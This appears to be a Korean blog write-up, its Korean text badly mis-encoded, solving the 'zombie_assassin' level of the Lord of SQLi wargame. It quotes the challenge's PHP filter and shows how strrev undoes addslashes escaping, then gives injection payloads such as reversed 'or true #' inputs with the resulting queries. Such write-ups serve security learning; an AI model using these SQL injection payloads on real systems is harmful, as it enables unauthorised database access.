ํฐ์คํ ๋ฆฌ ๋ทฐ
17๋ฒ์งธ ๋ฌธ์ ์ธ "zombie_assassin"์ ๋๋ค.
$_GET['id'] = strrev(addslashes($_GET['id']));
$_GET['pw'] = strrev(addslashes($_GET['pw']));
์ ๋ ฅ๋ ๊ฐ์ ๋ฐ๋ ๋ณ์๋ "id"์ "pw"๊ฐ ์์ต๋๋ค.
"addslashes" ํจ์์ ์ํด '(์ฑ๊ธ ์ฟผํฐ), "(๋๋ธ ์ฟผํฐ), \(์ญ ์ฌ๋์ฌ), null์ ์ ๋ ฅ๊ฐ์ --> "\"๋ฅผ ์ถ๊ฐํด์ค์ผ๋ก์จ ๋จ์ "๋ฌธ์์ด"๋ก ์ธ์ํ๊ฒ ๋ง๋ค์ด์ฃผ๊ณ ์์ผ๋ฉฐ "strrev" ํจ์๊ฐ ํฌํจ๋์ด ์์ด ์ ๋ ฅ๋ฐ์ ๋ฌธ์์ด์ ์๋ค๋ก ๋ฐ๊ฟ๋ฒ๋ฆฌ๊ณ ์์ต๋๋ค/
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
๋ํ 2๊ฐ์ง์ ๋ณ์์ preg_match ํจ์๋ฅผ ํตํด ' _ . ()๋ฅผ ๊ฒ์ฆํ๊ณ ์๊ธฐ ๋๋ฌธ์ ์ ๊ทผ์ด ์ฝ์ง ์์ต๋๋ค.
$query = "select id from prob_zombie_assassin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
if($result['id']) solve("zombie_assassin");
ํด๋น ๋ฌธ์ ๋ฅผ ํด๊ฒฐํ๊ธฐ ์ํด์ ์คํ ๊ฐ๋ฅํ ์๋ฒฝํ ์ฟผ๋ฆฌ๋ฌธ์ผ๋ก ๋ง๋ค๊ธฐ๋ง ํ๋ฉด ๋๊ธฐ์ ํน์ ๊ณ์ ์ด ์๋ ์๋ฌด ๊ณ์ ์ผ๋ก ์ ๊ทผํ๋ฉด ๋ฉ๋๋ค.
succubus ๋ฌธ์ ์ฒ๋ผ id๋ถํฐ pw ๋ณ์๊น์ง ๊ตฌ๋ฌธ์ ๋ฌธ์์ด๋ก ์ธ์ํ๊ฒ ํด์ ์ฐํํ๊ณ ์ธ์ ๋ "์ฐธ"์ผ๋ก ๋๊ฒ๋ ํด์ฃผ๋ฉด ๋ ๊ฒ ๊ฐ์ง๋ง "addslashes" ํจ์ ๋์ \ -> \\ ๋ก ๋ฐ๋์ด ๋ฒ๋ฆฌ๊ธฐ ๋๋ฌธ์ ์คํจํฉ๋๋ค.
๋ฐฉ๋ฒ์ ์ฐพ์๋ณธ ๊ฒฐ๊ณผ ๋ฌธ์์ด์ ๋ค์ง์ด ์ฃผ๋ "strrev" ํจ์๋ฅผ ์ด์ฉํด์ ์์์ ๊ตฌ๋ฌธ์ ๋ฌธ์์ด๋ก ์ธ์ํ๊ฒ ํ ์ ์์ ๊ฒ ๊ฐ๋ค๋ ์๊ฐ์ด ๋ค์์ต๋๋ค.
id='\'' and pw='' -> id=''\' and pw='' ์์ผ๋ก ์ ๋ ฅ๋ ๊ฐ์ ๋ค์ง์ด ๋ฒ๋ฆฌ๋๋ฐ
๋ง์ผ %00(null) ๋๋ "(๋๋ธ ์ฟผํฐ) ๊ฐ์ ๋ฃ๊ฒ ๋๋ฉด
id='\"' and pw='' -> id='"\' and pw='' or 1=1# ์์ผ๋ก ๋ฉ๋๋ค. ์ฆ ๋
ธ๋ ๋ถ๋ถ์ธ id='(์ฑ๊ธ ์ฟผํฐ) ~ pw='(์ฑ๊ธ ์ฟผํฐ) ๋ฌธ์์ด๋ก ์ธ์ํ๊ธฐ ๋๋ฌธ์ ๊ทธ ๋ค์ ๊ตฌ๋ฌธ์ธ " ์ฐธ " ๊ฐ์ด ๋ฐ๋ก ์คํ๋๊ฒ ๋ฉ๋๋ค.
Exploit Code
IN -> select id from prob_zombie_assassin where id=%00&pw=%23eurt ro
OUT -> select id from prob_zombie_assassin where id='0\'&pw='or true #'
IN -> select id from prob_zombie_assassin where id="&pw=%231=1 ro
OUT -> select id from prob_zombie_assassin where id='"\' and pw='or 1=1#'
'CHALLENGE' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[LOS] Nightmare ํ์ด(18) (0) | 2020.12.10 |
---|---|
XSS Challenges 7 (0) | 2020.12.10 |
[LOS] Succubus ํ์ด(16) (0) | 2020.12.09 |
[LOS] Assassin ํ์ด(15) (0) | 2020.12.09 |
XSS Challenges 6 (0) | 2020.12.09 |